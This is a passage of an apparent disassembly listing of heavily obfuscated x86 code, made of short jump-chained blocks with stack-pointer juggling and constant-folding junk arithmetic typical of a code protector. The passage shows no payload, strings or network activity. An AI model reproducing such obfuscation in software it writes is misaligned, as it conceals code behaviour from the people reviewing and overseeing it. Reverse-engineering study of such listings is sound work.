		xchg	edx, [esp-6E66h+arg_6E5C+2]
		mov	esp, [esp-6E66h+arg_6E5C+2]
		jmp	loc_5A0C39
; ---------------------------------------------------------------------------


loc_5A225F:				; CODE XREF: sub_581EE9+21877j
		shl	edi, 3
		sub	edi, 0C301180h
		sub	esi, 576228BDh
		sub	esi, edi
		add	esi, 576228BDh
		jmp	loc_59D6DC
; ---------------------------------------------------------------------------


loc_5A227B:				; CODE XREF: sub_581EE9+1FFBDj
		mov	dh, 25h
		xchg	ah, dh
		not	ah
		jmp	loc_5A2FEC
; ---------------------------------------------------------------------------


loc_5A2286:				; CODE XREF: sub_581EE9+24A9Aj
		add	ecx, 39611C5Fh
		jmp	loc_59C54A
; ---------------------------------------------------------------------------


loc_5A2291:				; CODE XREF: sub_581EE9+216E5j
		add	edx, edi
		mov	edi, [esp-6E9Eh+arg_6E96]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_59F68B
; ---------------------------------------------------------------------------


loc_5A22A4:				; CODE XREF: sub_581EE9+13428j
		pop	[esp-6E7Ah+arg_6E72]
		add	[esp-6E7Eh+arg_6E76], 4
		mov	ebp, [esp-6E7Eh+arg_6E76]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp-6E7Ah+arg_6E72]
		jmp	loc_59A201
; ---------------------------------------------------------------------------


loc_5A22CB:				; CODE XREF: sub_581EE9+21418j
		add	edx, esi
		pop	esi
		push	edx
		push	[esp-6E7Ah+arg_6E76]
		push	[esp-6E76h+arg_6E6E]
		pop	edx
		add	esp, 4
		jmp	loc_59D5D7
; ---------------------------------------------------------------------------


loc_5A22DF:				; CODE XREF: sub_581EE9+2347Bj
		push	edi
		push	4A070536h
		pop	edi
		push	esi
		mov	esi, 5E19443Bh
		jmp	loc_5923EE
; ---------------------------------------------------------------------------


loc_5A22F1:				; CODE XREF: sub_581EE9+1775Ej
		pop	esp
		add	ebp, 4
		jmp	loc_5A4183
; ---------------------------------------------------------------------------


loc_5A22FD:				; CODE XREF: sub_581EE9+16560j
		mov	edi, 65CB7ED3h
		add	edi, 5E3933C0h
		or	edi, 4D255F13h
		or	edi, 6C1A617Fh
		not	edi
		xor	edi, 12C00004h
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		xchg	ebx, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_59BB4D
; ---------------------------------------------------------------------------


loc_5A232D:				; CODE XREF: sub_581EE9+1FA56j
		mov	ecx, esp
		push	esi
		mov	esi, 7BF13D0Fh
		sub	esi, 7BF13D0Bh
		add	ecx, esi
		jmp	loc_5A0DA5
; ---------------------------------------------------------------------------


loc_5A2342:				; CODE XREF: sub_581EE9+184D0j
		add	esp, 4
		sub	bl, ch
		mov	cx, word ptr [esp-6EA4h+arg_6E9A+2]
		add	esp, 2
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A235C:				; CODE XREF: sub_581EE9+18D92j
		pop	eax
		jmp	loc_59225A
; ---------------------------------------------------------------------------


loc_5A2362:				; CODE XREF: sub_581EE9+1CF52j
		mov	[esp-6E98h+arg_6E8E+2],	esi
		not	[esp-6E98h+arg_6E8E+2]
		pop	esi
		not	esi
		shl	esi, 8
		sub	esi, 0D3DF6FA4h
		jmp	loc_5A1681
; ---------------------------------------------------------------------------


loc_5A2379:				; CODE XREF: sub_581EE9+1F73Fj
		add	esp, 2
		push	bx
		mov	bh, 0CDh
		jmp	loc_59E166
; ---------------------------------------------------------------------------


loc_5A2385:				; CODE XREF: sub_581EE9+1505Aj
		mov	[esp-6E72h+arg_6E68+2],	edx
		mov	edx, edi
		push	edx
		jmp	loc_5A584C
; ---------------------------------------------------------------------------


loc_5A2390:				; CODE XREF: sub_581EE9+11A47j
		add	ch, 1
		and	ch, 0C7h
		jmp	loc_592D7E
; ---------------------------------------------------------------------------


loc_5A239B:				; CODE XREF: sub_581EE9+15147j
		xchg	ebx, [esp-6E58h+arg_6E50]
		jmp	loc_594E98
; ---------------------------------------------------------------------------


loc_5A23A3:				; CODE XREF: sub_581EE9+162B1j
		push	440Fh
		jmp	loc_592470
; ---------------------------------------------------------------------------


loc_5A23AD:				; CODE XREF: sub_581EE9+198B2j
		add	[esp-6EA2h+arg_6E9A], eax
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], esi
		jmp	loc_5968E1
; ---------------------------------------------------------------------------


loc_5A23BB:				; CODE XREF: sub_581EE9+1D06Dj
		xor	edi, [esp-6E7Eh+arg_6E76]
		xor	[esp-6E7Eh+arg_6E76], edi
		xor	edi, [esp-6E7Eh+arg_6E76]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59DB5E
; ---------------------------------------------------------------------------


loc_5A23D7:				; CODE XREF: sub_581EE9+224B7j
		mov	eax, 5BA15316h
		inc	eax
		not	eax
		jmp	loc_59E136
; ---------------------------------------------------------------------------


loc_5A23E4:				; CODE XREF: sub_581EE9+16189j
		mov	al, ch
		not	al
		mov	ch, al
		pop	ax
		add	ch, 7Ah
		sub	ch, 0Ah
		push	bx
		mov	bh, 11h
		or	ch, bh
		pop	bx
		add	ch, 0DAh
		sub	al, ch
		jmp	loc_59337D
; ---------------------------------------------------------------------------


loc_5A2404:				; CODE XREF: sub_581EE9+13A65j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6EBCh+arg_6EB2+2]
		jmp	loc_5A048D
; ---------------------------------------------------------------------------


loc_5A2415:				; CODE XREF: sub_581EE9+19322j
		sub	[esp-6EA2h+arg_6E9E], 10EF5380h
		sub	[esp-6EA2h+arg_6E9E], 103D5823h
		push	[esp-6EA2h+arg_6E9A]
		mov	ebp, [esp-6E9Eh+arg_6E96]
		jmp	loc_5969E0
; ---------------------------------------------------------------------------


loc_5A2430:				; CODE XREF: sub_581EE9+198CCj
		add	ebp, 0B28FF25Ch
		add	edi, ebp
		pop	ebp
		jmp	loc_5A480A
; ---------------------------------------------------------------------------


loc_5A243E:				; CODE XREF: sub_581EE9+15336j
		mov	esi, 0A5E2222h
		sub	esi, 42105A9h
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp-6EAEh+arg_6EA4+2],	ebp
		push	ebx
		mov	ebx, 4A441191h
		dec	ebx
		push	esi
		push	ecx
		jmp	loc_594526
; ---------------------------------------------------------------------------


loc_5A2463:				; CODE XREF: sub_581EE9+15B0Fj
		sub	ebx, 2517675h
		push	edx
		mov	edx, 72140852h
		and	edx, 7FFD4D05h
		xor	edx, 5D77649Ah
		add	ebx, edx
		pop	edx
		jmp	loc_5A096A
; ---------------------------------------------------------------------------


loc_5A2483:				; CODE XREF: sub_581EE9+2393Cj
		sub	esp, 4
		mov	[esp-6E7Ch+arg_6E72+2],	edx
		mov	dh, 0E4h
		jmp	loc_59C65F
; ---------------------------------------------------------------------------


loc_5A2490:				; CODE XREF: sub_581EE9+179BAj
		mov	ebp, 94F55CD5h
		xor	eax, ebp
		jmp	loc_594547
; ---------------------------------------------------------------------------


loc_5A249C:				; CODE XREF: sub_581EE9+14705j
		sub	ax, 0CCEh
		sub	ax, si
		add	ax, 0CCEh
		add	ax, 0DDDh
		sub	ax, 7074h
		jmp	loc_5A3269
; ---------------------------------------------------------------------------


loc_5A24B4:				; CODE XREF: sub_581EE9+1C56Dj
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-6E94h+arg_6E8A+2],	ebx
		mov	ebx, 4D942169h
		mov	edi, 3CE702Fh
		add	edi, 1
		add	edi, 21ED76A4h
		and	edi, 3D8244E5h
		sub	edi, 14C97535h
		jmp	loc_594A77
; ---------------------------------------------------------------------------


loc_5A24E2:				; CODE XREF: sub_581EE9+171D8j
		pop	ebp
		jmp	loc_5984A7
; ---------------------------------------------------------------------------


loc_5A24E8:				; CODE XREF: sub_581EE9+227DCj
		mov	edx, 633E53DFh
		xor	edx, 6E9F2409h
		and	eax, edx
		mov	edx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		shr	eax, 1
		xor	eax, 48A1D6E7h
		sub	ebx, eax
		jmp	loc_59A186
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA4h+arg_6E9A+2]
		push	4C35h
		mov	[esp-6EA0h+arg_6E96+2],	ebx
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	esp
		add	[esp-6E9Ch+arg_6E92+2],	4
		push	[esp-6E9Ch+arg_6E92+2]
		jmp	loc_59F0BC
; ---------------------------------------------------------------------------


loc_5A2527:				; CODE XREF: sub_581EE9+17E14j
		add	esp, 4
		pop	ecx
		pop	edx
		and	eax, edi
		pop	edi
		jmp	loc_592999
; ---------------------------------------------------------------------------


loc_5A2537:				; CODE XREF: sub_581EE9+23AECj
		add	ch, 97h
		sub	bl, ch
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp-6E8Eh+arg_6E84+2]
		pop	eax
		push	1056h
		mov	[esp-6E8Ah+arg_6E80+2],	ecx
		sub	esp, 4
		sub	esp, 4
		jmp	loc_597E19
; ---------------------------------------------------------------------------


loc_5A255D:				; CODE XREF: sub_581EE9+241C7j
		xchg	edx, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59F0C3
; ---------------------------------------------------------------------------


loc_5A2565:				; CODE XREF: sub_581EE9+16EA0j
		mov	dword ptr [esp-6EAAh+arg_6EA2],	esi
		jmp	loc_5975F8
; ---------------------------------------------------------------------------


loc_5A256D:				; CODE XREF: sub_581EE9+1DD86j
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A3B2F
; ---------------------------------------------------------------------------


loc_5A2583:				; CODE XREF: sub_581EE9+1D282j
		push	edi
		mov	edi, 0DF0F66h
		mov	esi, edi
		pop	edi
		add	esi, 71A63FB0h
		sub	edi, esi
		pop	esi
		jmp	loc_59FB5F
; ---------------------------------------------------------------------------


loc_5A259A:				; CODE XREF: sub_581EE9+118FCj
		add	esi, 4
		xchg	esi, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A453B
; ---------------------------------------------------------------------------


loc_5A25A5:				; CODE XREF: sub_581EE9+104B7j
		xchg	ebx, [esp-6EB0h+arg_6EA8]
		pop	esp
		mov	[esp-6EB4h+arg_6EAC], eax
		mov	eax, 66875BB8h
		jmp	loc_595834
; ---------------------------------------------------------------------------


loc_5A25B6:				; CODE XREF: sub_581EE9+229DEj
		mov	[esp-6EB4h+arg_6EAC], ebx
		push	5995h
		push	esp
		pop	[esp-6EACh+arg_6EA4]
		add	[esp-6EB0h+arg_6EA8], 4
		mov	ebx, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], ebp
		mov	ebp, 4
		add	ebx, 1F4A7DE1h
		add	ebx, 4BAA739Fh
		add	ebx, ebp
		sub	ebx, 4BAA739Fh
		sub	ebx, 1F4A7DE1h
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp-6EB4h+arg_6EAC]
		jmp	loc_5A5DC1
; ---------------------------------------------------------------------------


loc_5A2606:				; CODE XREF: sub_581EE9+153C8j
		sub	ebx, 3C92DEAh
		jmp	loc_5A6A57
; ---------------------------------------------------------------------------


loc_5A2611:				; CODE XREF: sub_581EE9+19EA2j
		mov	[esp-6E92h+arg_6E8A], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp-6E8Eh+arg_6E8A]
		jmp	loc_59397E
; ---------------------------------------------------------------------------


loc_5A262C:				; CODE XREF: sub_581EE9+10B22j
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 50C66588h
		xor	ebp, 6B3F6962h
		shr	ebp, 8
		inc	ebp
		sub	ebp, 3BF909h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	edx
		push	[esp-6E96h+arg_6E92]
		jmp	loc_592C43
; ---------------------------------------------------------------------------


loc_5A2654:				; CODE XREF: sub_581EE9+247C1j
		xchg	ebx, [esp-6E92h+arg_6E8A]
		jmp	loc_59F430
; ---------------------------------------------------------------------------


loc_5A265C:				; CODE XREF: sub_581EE9+11A55j
		add	esp, 4
		sub	esp, 2
		mov	word ptr [esp-6EA2h+arg_6E9A], cx
		sub	esp, 4
		jmp	loc_592ADA
; ---------------------------------------------------------------------------


loc_5A2671:				; CODE XREF: sub_581EE9+100BDj
		mov	[esp-6EA6h+arg_6E9E], eax
		jmp	loc_59EACF
; ---------------------------------------------------------------------------


loc_5A2679:				; CODE XREF: sub_581EE9+16D1Cj
		sub	esp, 4
		mov	[esp-6E88h+arg_6E80], edi
		mov	edi, 5AA07129h
		add	ebx, edi
		pop	edi
		sub	ebx, 244C5F45h
		add	ebx, edi
		jmp	loc_597E62
; ---------------------------------------------------------------------------


loc_5A2694:				; CODE XREF: sub_581EE9+1EF22j
		add	edi, edx
		jmp	loc_5A315D
; ---------------------------------------------------------------------------


loc_5A269B:				; CODE XREF: sub_581EE9+16552j
		add	esp, 4
		push	edx
		jmp	loc_59628D
; ---------------------------------------------------------------------------


loc_5A26A7:				; CODE XREF: sub_581EE9+165C1j
		pop	esi
		jmp	loc_593EE6
; ---------------------------------------------------------------------------


loc_5A26AD:				; CODE XREF: sub_581EE9+1BFECj
		mov	dword ptr [edx+38h], 94D3A665h
		add	[edx+38h], eax
		jmp	loc_5A1505
; ---------------------------------------------------------------------------


loc_5A26BC:				; CODE XREF: sub_581EE9+14360j
		add	esi, 3352534Bh
		sub	esi, 14B345C4h
		add	esi, 3A69F12Bh
		push	esi
		add	[esp-6EA4h+arg_6E9A+2],	5F0D118Ah
		pop	edi
		push	ebp
		mov	ebp, 22196A1Ch
		xor	ebp, 4A4861A2h
		jmp	loc_59271A
; ---------------------------------------------------------------------------


loc_5A26E8:				; CODE XREF: sub_581EE9+1806Cj
		add	[esp-6E72h+arg_6E68+2],	4
		jmp	loc_59D19B
; ---------------------------------------------------------------------------


loc_5A26F1:				; CODE XREF: sub_581EE9+14696j
		add	edi, 4
		xchg	edi, [esp-6E98h+arg_6E8E+2]
		pop	esp
		push	eax
		push	4
		pop	eax
		push	esi
		jmp	loc_59BE49
; ---------------------------------------------------------------------------


loc_5A2708:				; CODE XREF: sub_581EE9+2313Aj
		add	ecx, 4
		push	ebx
		mov	ebx, 2
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		jmp	loc_5A1F25
; ---------------------------------------------------------------------------


loc_5A2720:				; CODE XREF: sub_581EE9+1D52Ej
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5A087B
; ---------------------------------------------------------------------------


loc_5A272B:				; CODE XREF: sub_581EE9+17606j
		pop	eax
		push	40B5h
		jmp	loc_59371E
; ---------------------------------------------------------------------------


loc_5A2736:				; CODE XREF: sub_581EE9+13B6Cj
		shr	dl, 3
		jmp	loc_5A21E1
; ---------------------------------------------------------------------------


loc_5A273E:				; CODE XREF: sub_581EE9+21460j
		and	eax, ebx
		jmp	loc_5A4174
; ---------------------------------------------------------------------------


loc_5A2745:				; CODE XREF: sub_581EE9+1BE04j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6E96h+arg_6E8E]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_59D6ED
; ---------------------------------------------------------------------------


loc_5A275D:				; CODE XREF: sub_581EE9+17176j
		push	edx
		jmp	loc_594C2D
; ---------------------------------------------------------------------------


loc_5A2763:				; CODE XREF: sub_581EE9+1FA39j
		neg	cl
		dec	cl
		xor	cl, 0E8h
		push	bx
		mov	bl, 0Dh
		mov	al, bl
		mov	bx, [esp+0]
		add	esp, 2
		add	al, cl
		jmp	loc_5A5E48
; ---------------------------------------------------------------------------


loc_5A277E:				; CODE XREF: sub_581EE9+1E78Fj
		mov	ebp, 44292C7Dh
		add	ebx, 10F3166h
		jmp	loc_5A171B
; ---------------------------------------------------------------------------


loc_5A278E:				; CODE XREF: sub_581EE9+13C16j
		push	edi
		mov	edi, 3FDB13EAh
		jmp	loc_5A5482
; ---------------------------------------------------------------------------


loc_5A2799:				; CODE XREF: sub_581EE9+12280j
		mov	edx, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		push	[esp-6E6Eh+arg_6E64+2]
		mov	edx, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		add	esp, 4
		push	ecx
		jmp	loc_59495C
; ---------------------------------------------------------------------------


loc_5A27B7:				; CODE XREF: sub_581EE9+123D9j
		push	ebx
		mov	ebx, 64243B69h
		mov	edx, 0F798090Ch
		add	edx, ebx
		jmp	loc_597012
; ---------------------------------------------------------------------------


loc_5A27C9:				; CODE XREF: sub_581EE9+145A1j
		pop	ecx
		push	0BF2h
		mov	[esp-6E9Ah+arg_6E92], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], esi
		mov	esi, 70E46426h
		xor	esi, 70E46422h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp-6E9Ah+arg_6E92]
		pop	esp
		push	[esp-6E9Eh+arg_6E96]
		mov	edx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		jmp	loc_5A1715
; ---------------------------------------------------------------------------


loc_5A2800:				; CODE XREF: sub_581EE9+19999j
		mov	eax, 517F1144h
		sub	ecx, eax
		mov	eax, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		pop	ebp
		xor	ecx, 52D8487Dh
		sub	esp, 4
		jmp	loc_597BF2
; ---------------------------------------------------------------------------


loc_5A2822:				; CODE XREF: sub_581EE9+24135j
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_596700
; ---------------------------------------------------------------------------


loc_5A282B:				; CODE XREF: sub_581EE9+11682j
		sub	ecx, 15700576h
		add	ecx, edi
		add	ecx, 15700576h
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp-6E86h+arg_6E7C+2]
		pop	esp
		jmp	loc_593F37
; ---------------------------------------------------------------------------


loc_5A2846:				; CODE XREF: sub_581EE9+19196j
		xor	bp, 117Fh
		jmp	loc_5A5EB5
; ---------------------------------------------------------------------------


loc_5A2850:				; CODE XREF: sub_581EE9+16F04j
		sub	esp, 4
		jmp	loc_59EC38
; ---------------------------------------------------------------------------


loc_5A285B:				; CODE XREF: sub_581EE9+2420Ej
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_593A03
; ---------------------------------------------------------------------------


loc_5A2863:				; CODE XREF: sub_581EE9+22062j
		xor	ecx, esi
		jmp	loc_5A0542
; ---------------------------------------------------------------------------


loc_5A286A:				; CODE XREF: sub_581EE9+15741j
		pop	esp
		pop	[esp-6E7Ah+arg_6E72]
		mov	esp, [esp-6E7Eh+arg_6E76]
		mov	[esp-6E7Eh+arg_6E76], eax
		jmp	loc_593CEB
; ---------------------------------------------------------------------------


loc_5A2879:				; CODE XREF: sub_581EE9+244A9j
		add	edi, esi
		push	[esp-6E7Eh+arg_6E76]
		pop	esi
		add	esp, 4
		jmp	loc_59F6B9
; ---------------------------------------------------------------------------


loc_5A288A:				; CODE XREF: sub_581EE9+15975j
		mov	edi, 760E478Ah
		and	edi, 7B440163h
		dec	edi
		push	edx
		push	ecx
		mov	ecx, 7F016102h
		neg	ecx
		add	ecx, 2B665769h
		jmp	loc_59F583
; ---------------------------------------------------------------------------


loc_5A28AA:				; CODE XREF: sub_581EE9+1515Dj
		mov	ecx, [esp-6E58h+arg_6E50]
		add	esp, 4
		add	eax, 4
		jmp	loc_5A2ABF
; ---------------------------------------------------------------------------


loc_5A28BD:				; CODE XREF: sub_581EE9+191ADj
		xchg	edx, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6EB2h+arg_6EA8+2],	eax
		mov	ah, 0EDh
		push	edx
		push	ecx
		mov	cl, 26h
		add	cl, 1Dh
		or	cl, 69h
		jmp	loc_5A2DA6
; ---------------------------------------------------------------------------


loc_5A28DB:				; CODE XREF: sub_581EE9+1C680j
		xor	eax, ebp
		pop	ebp
		add	edi, eax
		pop	eax
		push	261Ah
		mov	[esp-6E96h+arg_6E8E], edx
		jmp	loc_594020
; ---------------------------------------------------------------------------


loc_5A28EE:				; CODE XREF: sub_581EE9+18E7Aj
		mov	esp, [esp-6E6Ah+arg_6E60+2]
		dec	byte ptr [esp-6E6Ah+arg_6E60+2]
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A28FA:				; CODE XREF: sub_581EE9+15CD1j
		dec	eax
		push	1DAh
		mov	[esp-6E8Eh+arg_6E84+2],	ecx
		mov	ecx, 60F85C47h
		or	eax, ecx
		pop	ecx
		sub	eax, 6DF95C75h
		sub	esi, 43E75506h
		add	esi, eax
		jmp	loc_593879
; ---------------------------------------------------------------------------


loc_5A291D:				; CODE XREF: sub_581EE9+1B565j
		sub	edx, ecx
		xchg	edx, ecx
		pop	edx
		not	ecx
		inc	ecx
		push	edx
		mov	edx, 78292D50h
		dec	edx
		neg	edx
		sub	edx, 7D36481h
		xor	edx, 56169D62h
		sub	ecx, edx
		jmp	loc_597F93
; ---------------------------------------------------------------------------


loc_5A2941:				; CODE XREF: sub_581EE9+25243j
		mov	cl, 12h
		add	cl, 49h
		jmp	loc_5A2BA5
; ---------------------------------------------------------------------------


loc_5A294B:				; CODE XREF: sub_581EE9+230E1j
		pop	ecx
		jmp	loc_598A35
; ---------------------------------------------------------------------------


loc_5A2951:				; CODE XREF: sub_581EE9+14B16j
		and	eax, edi
		mov	edi, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	2805h
		mov	[esp-6EB2h+arg_6EA8+2],	ebx
		jmp	loc_5966A0
; ---------------------------------------------------------------------------


loc_5A296A:				; CODE XREF: sub_581EE9+13315j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A296F:				; CODE XREF: sub_581EE9+1C9B0j
		pop	edx
		push	edi
		push	eax
		jmp	loc_592C64
; ---------------------------------------------------------------------------


loc_5A2977:				; CODE XREF: sub_581EE9+21CF5j
		mov	[esp-6E5Eh+arg_6E54+2],	edi
		push	ebp
		push	194F5FAAh
		mov	ebp, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A6FE9
; ---------------------------------------------------------------------------


loc_5A2994:				; CODE XREF: sub_581EE9+1B1CAj
		pop	ax
		push	eax
		mov	al, 98h
		xor	al, 57h
		not	al
		push	small 19B0h
		mov	word ptr [esp-6E8Ch+arg_6E84], cx
		mov	cl, 4
		sub	al, cl
		pop	cx
		jmp	loc_5A2F85
; ---------------------------------------------------------------------------


loc_5A29B0:				; CODE XREF: sub_581EE9+1758Dj
		push	esi
		jmp	loc_59DCB7
; ---------------------------------------------------------------------------


loc_5A29B6:				; CODE XREF: sub_581EE9+14848j
		shr	esi, 7
		shl	esi, 5
		shr	esi, 7
		jmp	loc_599522
; ---------------------------------------------------------------------------


loc_5A29C4:				; CODE XREF: sub_581EE9+104E6j
		xor	[esp-6EACh+arg_6EA8], ebp
		push	[esp-6EACh+arg_6EA4]
		pop	ebp
		push	4365h
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 633E5827h
		inc	ebp
		shr	ebp, 5
		jmp	loc_598501
; ---------------------------------------------------------------------------


loc_5A29EA:				; CODE XREF: sub_581EE9+19B0Fj
		xchg	edx, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		add	ebx, eax
		push	ecx
		mov	ecx, 63A326A0h
		sub	ebx, ecx
		pop	ecx
		push	35A9h
		mov	[esp-6E6Eh+arg_6E64+2],	esi
		push	eax
		mov	eax, 424A6DBEh
		mov	esi, eax
		pop	eax
		push	edi
		push	3397F9Eh
		mov	edi, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		xor	esi, edi
		pop	edi
		add	esi, 0FFFFFFFFh
		shl	esi, 1
		xor	esi, 53765895h
		jmp	loc_5A3C7A
; ---------------------------------------------------------------------------


loc_5A2A29:				; CODE XREF: sub_581EE9+1D323j
		and	di, 4C37h
		sub	di, 0ED87h
		mov	dx, di
		pop	edi
		and	bp, dx
		pop	dx
		dec	bp
		jmp	loc_59F4CF
; ---------------------------------------------------------------------------


loc_5A2A43:				; CODE XREF: sub_581EE9+21E96j
		add	edi, ecx
		add	edi, 22010DE2h
		pop	ecx
		add	edi, 4
		xchg	edi, [esp-6E72h+arg_6E68+2]
		pop	esp
		xor	esi, [esp-6E76h+arg_6E6E]
		xor	[esp-6E76h+arg_6E6E], esi
		xor	esi, [esp-6E76h+arg_6E6E]
		jmp	loc_59FEEE
; ---------------------------------------------------------------------------


loc_5A2A61:				; CODE XREF: sub_581EE9+24ACFj
		pop	ebx
		mov	ecx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		push	edx
		mov	edx, 24794BEBh
		sub	dword ptr [esp-6E7Ah+arg_6E7A],	edx
		pop	edx
		add	dword ptr [esp-6E7Eh+arg_6E7A],	0B130BEh
		jmp	loc_59FC82
; ---------------------------------------------------------------------------


loc_5A2A80:				; CODE XREF: sub_581EE9+1C38Aj
		sub	ebp, 78BA6546h
		mov	edx, ebp
		pop	ebp
		add	edx, 35F84364h
		push	ebp
		mov	ebp, 46D96DA8h
		sub	esp, 4
		mov	[esp-6E68h+arg_6E60], eax
		mov	eax, 268A1878h
		jmp	loc_59B9B9
; ---------------------------------------------------------------------------


loc_5A2AA8:				; CODE XREF: sub_581EE9+23FF5j
		add	ebx, 4
		xchg	ebx, [esp-6E68h+arg_6E60]
		jmp	loc_5A082D
; ---------------------------------------------------------------------------


loc_5A2AB6:				; CODE XREF: sub_581EE9+212FCj
		mov	[esp-6E68h+arg_6E60], esi
		push	edx
		jmp	loc_5A5289
; ---------------------------------------------------------------------------


loc_5A2ABF:				; CODE XREF: sub_581EE9+209CFj
		xchg	eax, [esp-6E5Ch+arg_6E54]
		jmp	loc_5A209C
; ---------------------------------------------------------------------------


loc_5A2AC7:				; CODE XREF: sub_581EE9+1ACDEj
		inc	esi
		jmp	loc_5A32F8
; ---------------------------------------------------------------------------


loc_5A2ACD:				; CODE XREF: sub_581EE9+19F00j
		add	eax, 3CFE49CCh
		sub	esp, 4
		mov	[esp-6EBEh+arg_6EB6], eax
		mov	ebx, [esp-6EBEh+arg_6EB6]
		add	esp, 4
		pop	eax
		add	edi, ebx
		pop	ebx
		jmp	loc_5939EC
; ---------------------------------------------------------------------------


loc_5A2AED:				; CODE XREF: sub_581EE9+103E3j
		mov	ebp, edx
		pop	edx
		add	ebp, 5091CF76h
		sub	edx, ebp
		jmp	loc_59997D
; ---------------------------------------------------------------------------


loc_5A2AFD:				; CODE XREF: sub_581EE9+14631j
		mov	eax, [esp-6EB2h+arg_6EA8+2]
		sub	esp, 4
		mov	[esp-6EAEh+arg_6EA4+2],	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EAEh+arg_6EA4+2]
		pop	esp
		sub	ebx, 760C4EF6h
		push	edx
		jmp	loc_595C04
; ---------------------------------------------------------------------------


loc_5A2B23:				; CODE XREF: sub_581EE9+115DAj
		sub	ebp, 0CC5674FCh
		push	esi
		push	edx
		mov	edx, 11214D7h
		mov	esi, edx
		pop	edx
		shr	esi, 3
		add	esi, 75F620E4h
		sub	ebx, esi
		pop	esi
		add	ebx, ebp
		push	edi
		push	ebp
		mov	ebp, 7618637Eh
		mov	edi, ebp
		pop	ebp
		add	ebx, edi
		pop	edi
		mov	ebp, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		xor	ebx, [esp-6E6Eh+arg_6E64+2]
		xor	[esp-6E6Eh+arg_6E64+2],	ebx
		xor	ebx, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_5939C9
; ---------------------------------------------------------------------------


loc_5A2B65:				; CODE XREF: sub_581EE9+228F9j
		mov	ecx, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_59E32C
; ---------------------------------------------------------------------------


loc_5A2B6D:				; CODE XREF: sub_581EE9+13F76j
		mov	[esp-6EA4h+arg_6E9A+2],	ebx
		push	esp
		mov	ebx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5985F8
; ---------------------------------------------------------------------------


loc_5A2B85:				; CODE XREF: sub_581EE9+10D76j
		mov	eax, 4
		add	dword ptr [esp-6E7Eh+arg_6E7A],	eax
		jmp	loc_5A02D1
; ---------------------------------------------------------------------------


loc_5A2B93:				; CODE XREF: sub_581EE9+1B5ECj
		mov	ecx, 320C6218h
		jmp	loc_5A1CE5
; ---------------------------------------------------------------------------


loc_5A2B9D:				; CODE XREF: sub_581EE9+1410Cj
		mov	[esp-6E60h+arg_6E58], eax
		jmp	loc_59BDE0
; ---------------------------------------------------------------------------


loc_5A2BA5:				; CODE XREF: sub_581EE9+20A5Dj
		shl	cl, 8
		sub	cl, 0B3h
		mov	al, cl
		pop	ecx
		xor	al, 17h
		and	al, 94h
		inc	al
		add	al, 28h
		jmp	loc_5989F0
; ---------------------------------------------------------------------------


loc_5A2BBB:				; CODE XREF: sub_581EE9+1C0F1j
		pop	edx
		jmp	loc_5A0BD3
; ---------------------------------------------------------------------------


loc_5A2BC1:				; CODE XREF: sub_581EE9+1D615j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A4227
; ---------------------------------------------------------------------------


loc_5A2BD5:				; CODE XREF: sub_581EE9+19524j
		sub	ecx, ebp
		jmp	loc_594014
; ---------------------------------------------------------------------------


